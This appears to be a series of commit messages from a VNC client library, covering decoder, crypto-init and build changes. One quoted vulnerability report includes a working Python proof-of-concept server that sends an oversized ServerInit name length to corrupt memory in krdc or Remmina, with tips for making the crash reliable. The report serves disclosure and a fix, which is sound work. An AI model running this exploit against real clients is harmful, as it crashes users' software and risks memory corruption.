The pad fields of the rfbClientCutTextMsg and rfbKeyEventMsg could contain arbitray memory belonging to the process,
don't leak this to the remote.
Closes #252
- As with the encoder, the decoder now uses the TurboJPEG wrapper, which
allows it to decode JPEG images directly into the framebuffer. This
eliminates a buffer copy (CopyRectangle()) as well as the expensive
RGB pixel conversion in DecompressJpegRectBPP(). The TurboJPEG
wrapper performs RGB pixel conversion more optimally, and only when
necessary (it uses the libjpeg-turbo colorspace extensions when
available, in order to avoid RGB conversion.)
- The other Tight subencoding types are also now decoded directly into
the framebuffer, which eliminates buffer copies.
- The Tight decoder now supports the rfbTightNoZlib extension, which
allows the server to bypass zlib compression when Compression Level 0
is selected. The encoder already supports this extension. Passing
the data stream through zlib when Compression Level 0 is selected
needlessly wastes CPU time, since all zlib is doing is copying the
data internally into its own structures.
OS X RealVNC server crashes out Remmina because the server can provoke
bytesPerLine to be zero. Assume this is coding for zero lines.
The condition could be checked before the calculation of bytesPerLine.
I don’t understand the preconditions of this code to say one way or the
other.
https://www.gnupg.org/documentation/manuals/gcrypt/Initializing-the-library.html
"Before the library can be used, it must initialize itself.
This is achieved by invoking the function gcry_check_version"
Closes issue #45
Tested with krdc + libgcrypt 1.6.1 (libgcrypt20-dev Ubunutu package)
connecting to a Mac Mini.
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
This fixes the following oCERT report (oCERT-2014-008 pt.2):
There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.
Field Size
---------------------------------
name-length [4]
name-string [name-length]
Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.
I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.
Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.
import socket,struct,sys
HOST = ""
PORT = 5900
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT))
c.listen(1)
conn,addr = c.accept()
print "Connected by ", addr
protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
conn.send(protocolVersion3008)
data = conn.recv(1024) # Receive the version from them.
secTypeNone = "\x01\x01"
secTypeAuth = "\x01\x02"
conn.send(secTypeNone)
data = conn.recv(1024) # Receive the secType choice from them.
secResultOk = "\x00" * 4
secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk)
data = conn.recv(1024) # Receive the ClientInit (Shared-flag).
frameBufferWidth = 0x0480
frameBufferHeight = 0x0360
bitsPerPixel = 0x20
depth = 0x18
bigEndian = 0x1
trueColor = 0x0
redM = 0x0
greenM = 0x0
blueM = 0x0
redS = 0x0
greenS = 0x0
blueS = 0x0
padding = "\x00\x00\x00"
nameLength = 0xffffffff
nameString = "AA" * 0xFFFF + "\x00\x0a"
conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )
c.close()
In Microsoft's Visual C runtime, the snprintf() function is actually
called _snprintf. Let's just #define the former to call the latter.
[JES: fixed commit message]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
If MallocFrameBuffer() returns FALSE, frame buffer pointer is left to
NULL. Subsequent writes into that buffer could lead to memory
corruption, or even arbitrary code execution.
This patch implements support in LibVNCClient for framebuffer updates
encoded as H.264 frames. Hardware accelerated decoding is performed
using VA API.
This is experimental support to let the community explore the possibilities
offered by the potential bandwidth and latency reductions that H.264 encoding
allows. This may be particularly useful for use cases such as online gaming,
hosted desktops, hosted set top boxes...
This patch only provides the client side support and is meant to be used
with corresponding server-side support, as provided by an upcoming patch for
qemu ui/vnc module (to view the display of a virtual machine executing under
QEMU).
With this H.264-based encoding, if multiple framebuffer update messages
are generated for a single server framebuffer modification, the H.264
frame data is sent only with the first update message. Subsequent update
framebuffer messages will contain only the coordinates and size of the
additional updated regions.
Instructions/Requirements:
* The patch should be applied on top of the previous patch I submitted with
minor enhancements to the gtkvncviewer application:
http://sourceforge.net/mailarchive/message.php?msg_id=30323804
* Currently only works with libva 1.0: use branch "v1.0-branch" for libva and
intel-driver. Those can be built as follows:
cd libva
git checkout v1.0-branch
./autogen.sh
make
sudo make install
cd ..
git clone git://anongit.freedesktop.org/vaapi/intel-driver
cd intel-driver
git checkout v1.0-branch
./autogen.sh
make
sudo make install
Signed-off-by: David Verbeiren <david.verbeiren@intel.com>
The current definitions were mostly useful to glibc and followed its
feature_test_macros(3) documentation.
However, this means other platforms still had problems when building with
strict compilation flags. _BSD_SOURCE, for example, is only recognized by
glibc, and other platforms sometimes need _XOPEN_SOURCE instead, or even the
removal of some definitions (such as the outdate _POSIX_SOURCE one).
_POSIX_SOURCE also had to be conditionally defined in some places, as what
it enables or disables during compilation varies across systems.